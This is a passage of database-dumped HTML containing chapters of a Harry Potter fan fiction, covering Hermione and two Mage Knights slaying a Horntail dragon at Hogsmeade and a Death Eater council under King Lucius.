tomorrow.&nbsp; Meeting adjourned.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">As the Mage Knights prepared to leave, Sir\nDraco walked up to Hermione.&nbsp; He spoke in\na sinister hiss as he said, &quot;I hope you\'re happy, Mudblood!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron launched himself at Draco in fury but was\nheld back by Harry whom looked ready to murder Draco himself.&nbsp; &quot;Watch your language, Malfoy,&quot; he\ngrowled.&nbsp; Draco smirked and strolled\naway.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione was confused.&nbsp; &quot;\'Mudblood\'?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;The most insulting word he could possibly\nuse!&quot; said Ron.&nbsp; &quot;\'Mudblood\'\nis a term that some magical nobles use against commoners, or muggles as we call\nthem, who have been trained in the arts of magic.&nbsp; They think that it should only be kept in the nobility.&nbsp; I mean most of us don\'t care: we believe\nthat everybody has a right to be and pursue what they want.&nbsp; Its just, guys like Malfoy...well never\nmind.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Just forget about it, OK?&quot; said\nHarry.&nbsp; &quot;We\'ve got a long day tomorrow\nand I think we should all get some well deserved rest.&quot;&nbsp; With that, they all said their good byes and\nwent to their respective rooms.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">That night, as Hermione lay in bed that night,\na great many things crossed her mind ranging from Sir Draco, the quest she was\ngoing on, and Harry.&nbsp; She sighed as she\ndrifted off to sleep.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(56, 5, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Disclaimer: The <u>Harry Potter</u> series\nbelongs to J.K. Rowling.&nbsp; I own the plot\nof this God forsaken epic.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Chapter 5: A Dragon in Hogsmeade</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The small company left Hogwarts early the next\nmorning.&nbsp; Hermione was wearing clothing\nthat was explicitly designed for her.&nbsp;\nShe wore a white under-robe and an open navy blue outer-robe over\nthat.&nbsp; The under-robe had short sleeves\nthat flared out from underneath the outer-robe that had no sleeves at all.&nbsp; She wore a red sash around her waist that\nmade her robes fit her figure perfectly.&nbsp;\nHer white shoes went up to her ankles where they curled downward.&nbsp; They also had pointy ends.&nbsp; She was carrying a five foot long, oak staff\nthat contained unicorn hair as it\'s core.&nbsp;\nIt was from this staff that she was able to wield her magic powers: it\nalso made a rather formidable weapon to wield.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Since she couldn\'t ride on a horse on her own,\nHermione rode behind Harry on his magnificent white stallion, Firebolt.&nbsp; Ron\'s horse, Comet, though in perfect\nhealth, was a little too old to be carrying two people.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Our first stop will be the village of\nHogsmeade,&quot; said Harry.&nbsp; &quot;Its\nthe closest village to Hogwarts, takes less than a day to get there.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">That turned out to be an understatement as they\narrived at Hogsmeade in only a few hours, and they were going at a considerably\nslow pace.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hogsmeade was a lovely sight.&nbsp; It was built entirely around a single main\nstreet and consisted of many artistic looking buildings.&nbsp; A large number of these were shops and it\nwas clear that merchants flocked to the town on a regular basis.&nbsp; The marketplace was one of the largest\nHermione had ever seen in her life.&nbsp; It\nwas the perfect picture of a cheerful village lifestyle, except for one problem,\nit was a gloomy and melancholy atmosphere that they encountered.&nbsp; Curious, Hermione questioned one of the\nvillagers about what was wrong.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;What is wrong?!&quot; exclaimed the old\nman.&nbsp; &quot;I\'ll tell you what\'s\nwrong!&nbsp; A month ago this village was\nattacked by a dragon!&nbsp; That\'s right, a\ndragon!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry and Ron were shocked by this news.&nbsp; &quot;Why didn\'t anyone send any news about\nthis to Hogwarts?&quot; shouted Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I\'ll tell you why,&quot; continued the\nold man.&nbsp; &quot;The dragon struck a deal\nwith us.&nbsp; If we fed him a virgin maiden\nonce a month on the new moon, then he would spare our village.&nbsp; If we had sent for help to Hogwarts or to\nanywhere else, the dragon would\'ve destroyed the village!&quot;&nbsp; With this he sighed and pointed to an\nespecially tearful looking man down the street.&nbsp; &quot;See there?&nbsp; Tonight\nis the first New Moon since the deal was struck, and its his daughter that\nwe\'re sacrificing.&nbsp; The poor bloke\'s has\nbeen killing himself with grief.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione was doing some quick thinking before\nfinally speaking up, &quot;I fit the descriptions, I\'ll take the girl\'s place\ntonight.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;WHAT?!&quot; exclaimed the others\npresent.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;We can\'t just leave them alone.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Oh that\'s just bloody fantastic,\nHermione,&quot; said Ron.&nbsp; &quot;We\'ll\njust let you be killed tonight and then wait another month for the dragon to\ntake the next girl.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;No, Ron!&quot; hissed Hermione.&nbsp; &quot;We\'re going to kill the Dragon.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Its too dangerous for you,\nHermione.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I don\'t care, Harry.&nbsp; We are not leaving this village without\nhelping these people out!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry sighed and asked, &quot;What kind of\ndragon is it?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I\'m not entirely sure,&quot; answered the\nold man.&nbsp; &quot;I think its a\nRidgeback.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry mumbled something like, &quot;It would\'ve\nbeen a lot easier if it were a Vipertooth or a Short-Snout.&quot;&nbsp; He sighed and said, &quot;Well, you\'ve got\nyourself a couple of dragon slayers.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;What?!&quot; shouted Ron.&nbsp; &quot;We don\'t have time for this,\nHarry.&nbsp; Its not part of the mission,\nunless our mission is to allow the mirror to fall into Death Eater hands while\nwe become a Ridgeback\'s midnight snack!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Look, Ron,&quot; said Harry.&nbsp; &quot;Hermione\'s right.&nbsp; We\'re Mage Knights: we can\'t just walk away\nwhile innocent people suffer.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron grumbled, but in his heart, he agreed\nwholeheartedly with Harry and Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;That\'s settled then,&quot; said\nHermione.&nbsp; &quot;Well, we\'d better start\npreparing.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">That night, at around 11 o\'clock, the villagers\nled Hermione out to the top of a hill right outside of Hogsmeade where they\ntied her up to a post.&nbsp; Hermione\nwondered why that was necessary since she wouldn\'t have run away, but didn\'t\nquestion the villagers about it.&nbsp; It was\nclear from the expressions on the villagers\' faces that they only thought they\nwere buying an extra month till one of their own daughters would be tied up on\nthe post.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry and Ron were hidden amongst the trees\njust a couple of yards away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I just hope this works,&quot; said Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Oh I dunno,&quot; said Ron.&nbsp; &quot;Maybe we should just let the dragon\neat her and that would be doing us a favor.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;This is no time to joke, Ron!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Sorry.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The minutes were dragging by slowly, and\nHermione couldn\'t help but feel a sense of doom coming over her.&nbsp; She had volunteered to become the\n&quot;sacrifice&quot; in a sudden outburst of bravery, but it was only now\nsinking in that this could be the last hour of her life.&nbsp; She felt very frightened as she started\nshivering.&nbsp; However, she completely\ntrusted Harry and Ron and knew in her heart that they would pull through for\nher.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Finally, midnight rolled by and the silence was\nbroken by the sound of monstrous wings beating through the night air.&nbsp; Then, it was upon them.&nbsp; A huge black dragon with yellow eyes, bronze\nhorns, and bronze spikes on its tail landed in front of Hermione with a roar!&nbsp; Hermione couldn\'t help it: she screamed out\nin terror!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Ridgeback my\neye!&quot; shouted Ron.&nbsp; &quot;That\'s a\nHorntail!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Great.&nbsp; The worst possible scenario,&quot; mumbled\nHarry.&nbsp; With that, he and Ron darted out\nof their hiding place to face the most dangerous of dragon breeds.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">At first, the Horntail was startled to find\nknights there when it had only been expecting the girl.&nbsp; Harry used this to his advantage as he\nclosed in on the dragon and swung his sword into it\'s right hind leg.&nbsp; The dragon roared in pain as it flung Harry\noff, sending him sprawling through the air.&nbsp;\nHe landed with a horrible thud.&nbsp;\nThe Horntail then breathed a burst of fire toward Ron.&nbsp; Ron dodged this by rolling to the side.&nbsp; However, before he could attack, the dragon\nsent him flying through the air with a swing of it\'s paw.&nbsp; Thinking that it had gotten rid of the knights,\nthe dragon closed in on Hermione who was screaming again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Ron!&nbsp; Get Hermione untied!&quot; shouted Harry as\nhe leapt onto the dragon\'s tail.&nbsp; He\nmade his way up the tail onto the dragon\'s back where he started hacking at it\nwith his sword.&nbsp; The Horntail thrashed\nand managed to throw Harry off of its back, before shooting another burst of\nflame toward Ron who was making his way to Hermione.&nbsp; Ron dropped to the ground, thus avoiding the fire.&nbsp; He then scrambled his way to Hermione.&nbsp; With one swipe of his sword, Hermione was\nfree.&nbsp; He then tossed her staff (which\nhe had been carrying) to her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione immediately readied herself for\nbattle.&nbsp; She held her staff up and\nshouted <i>&quot;Stupefy!&quot;</i>&nbsp;\nUnfortunately, the curse didn\'t seem to have much effect on the dragon.&nbsp; Harry and Ron were once again hacking at it\nwith their swords while avoiding the claws and flames while Hermione continued\nfiring curses and hexes at the dragon.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">As all of her curses simply glanced off the\ndragon\'s scales, Hermione tried to remember what she had read about\ndragons.&nbsp;\n&quot;Dragons...dragons...powerful magical creatures...near invulnerable\nscales...vulnerable eyes...THE EYES!!!&quot;&nbsp;\nHermione pointed her staff and shouted <i>&quot;Reducto!&quot;</i>&nbsp; The explosion caught the Horntail in it\'s\nleft eye!&nbsp; The dragon roared in pain as\nit thrashed about.&nbsp; Ron tried to take\nadvantage of the dragon\'s pain by attempting to severe the dragon\'s left fore\narm.&nbsp; Unfortunately, the dragon got the\nbetter of him slapped him hard onto the ground, knocking him unconscious.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Ron!\nNo!&quot; shouted Harry.&nbsp; He tried to\nmake his way to his fallen best friend, but he was engulfed by the dragon\'s\nflames before he could get close enough.&nbsp;\nThe dragon, then, swung it\'s tail at him, sending him flying across the field.&nbsp; He had dropped his sword as the Horntail closed in on him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione screamed, &quot;Harry!&quot;&nbsp; She threw down her staff and made a mad dash\nfor his sword.&nbsp; As soon as she picked it\nup, she ran in between Harry and the dragon.&nbsp;\nThen, before she could think twice, Hermione charged and drove the sword\ninto the dragon\'s chest.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The dragon gave a scream of pain before it\ncollapsed and died: Hermione had stabbed it in the heart!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">As soon as Hermione realized that the dragon\nwas dead, she ran to Harry and threw her arms around him, catching him by\nsurprise.&nbsp; &quot;Are you ok?&quot; she\nasked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I\'m fine.&nbsp; Are you ok?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I\'m alright.&quot;&nbsp; She pulled back and examined his face for\ninjuries.&nbsp; Her brown eyes locked onto\nhis green ones.&nbsp; As she stared into his\nemerald pools, she felt an odd flip in her stomach and her heart rate climbed a\nlittle.&nbsp; She also began to notice how\nclose they were and she barely registered that they were drawing even closer...</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Hey!&nbsp;\nThanks for forgetting about me!&quot;&nbsp;\nHarry and Hermione immediately sprang apart as the recovered Ron dragged\nhimself to their side.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Um...Er...we should get back to Hogsmeade\nand tell the villagers that the...Er...dragon is dead...Yeah.&quot; said\nHarry.&nbsp; He seemed to be nervous about\nsomething and his face was red.&nbsp;\nHermione felt her face go red as well.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">As they made their way back to the village,\nHermione couldn\'t help but wonder about the sensation she felt, \'Am I falling\nfor Harry?&nbsp; How could I let that\nhappen?&nbsp; How can a farm girl ever fall\nfor a noble knight?\'</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(56, 6, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Disclaimer: None of it is mine.&nbsp; It\'s all J.K. Rowling\'s</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Chapter 6: The Cave of Reflections</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Darkness.&nbsp;\nThe throne room was filled with darkness.&nbsp; Not just any sort of darkness: the sort of darkness that sucked\naway all light.&nbsp; The sort of darkness\nthat spawned despair and drove away hope.&nbsp;\nOn the throne at the end of the room sat a man with platinum blonde\nhair, cold grayish blue eyes, and majestic black robes.&nbsp; He was none other than King Lucius, ruler of\nthe Kingdom of Slytherin.&nbsp; Circling him,\nwere his comrades, the Death Eaters.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;What of the news of the Mage\nKnights?&quot; asked Lucius.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">A small, skinny man stepped forward.&nbsp; The most unusual aspect about him was his\nsilver right hand.&nbsp; &quot;Sir Harry\nPotter has set out to retrieve the Mirror of Erised.&nbsp; He is being accompanied by one of the Weasleys and a\nMudblood.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Remember your place, Wormtail,&quot;\nhissed Lucius.&nbsp; Wormtail cowered and\nstepped back.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Oh come now, Lucius.&nbsp; Why not be a little more gentle on\nWormtail?&quot; said another younger man.&nbsp;\nHe had scruffy blond hair, wore dark armor and chain mail, a black cape,\nand had two swords holstered on his belt.&nbsp;\nHis name was Bartimeus Crouch II.&nbsp;\n&quot;After all, it is because of him that James and Lily of Gryffindor\nare gone.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;But their son lives,&quot; said another\nman.&nbsp; He was well built and had a\nbristly mustache and wiry dark hair.&nbsp;\nHis name was Walden McNair.&nbsp;\n&quot;So long as their son is still alive, the Kingdom of Gryffindor\ncould be reestablished.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;True,&quot; said Crouch II.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;What are we to do in the mean time?&quot;\nasked a woman in dark, revealing robes.&nbsp;\nShe was an exotic beauty with long, golden blonde hair, icy blue eyes,\nand olive skin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;For the time being, Icicle, we should\nalert Quirrell about Potter\'s progress,&quot; said Lucius.&nbsp; &quot;If no one has anymore to discuss than\nyou are all dismissed.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">As the Death Eaters exited the throne room,\nIcicle noticed a lone figure leaning on a pillar towards the back of the\nroom.&nbsp; His arms were crossed and he was\nwearing a smirk on his face.&nbsp; He was\nvery tall, had raven black hair, and was exceedingly handsome.&nbsp; He appeared to be around sixteen, but\nsomehow, it was clear that he was really much older.&nbsp; He wore light silver armor and black robes and boots that gave him\na shadowy look.&nbsp; He wore a black cape\nand had a sword holstered on his back.&nbsp;\nBut the most striking feature about him were his glaring red eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Whatever are you doing here, sir?&quot;\nasked Icicle in a tone that could only be described as reverence.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Oh, I just wanted to see how Lucius was\nrunning the party,&quot; said the red eyed man.&nbsp; &quot;A most excellent job he is doing.&quot;&nbsp; The sarcasm in his voice was unmistakable.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;He is doing his job.&nbsp; Nothing more.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Great to know he\'s still running\nthings.&nbsp; I suppose he\'s good\nenough,&quot;&nbsp; The red eyed man looked\nat Icicle.&nbsp; &quot;Just remember to do\nyour job as well.&nbsp; 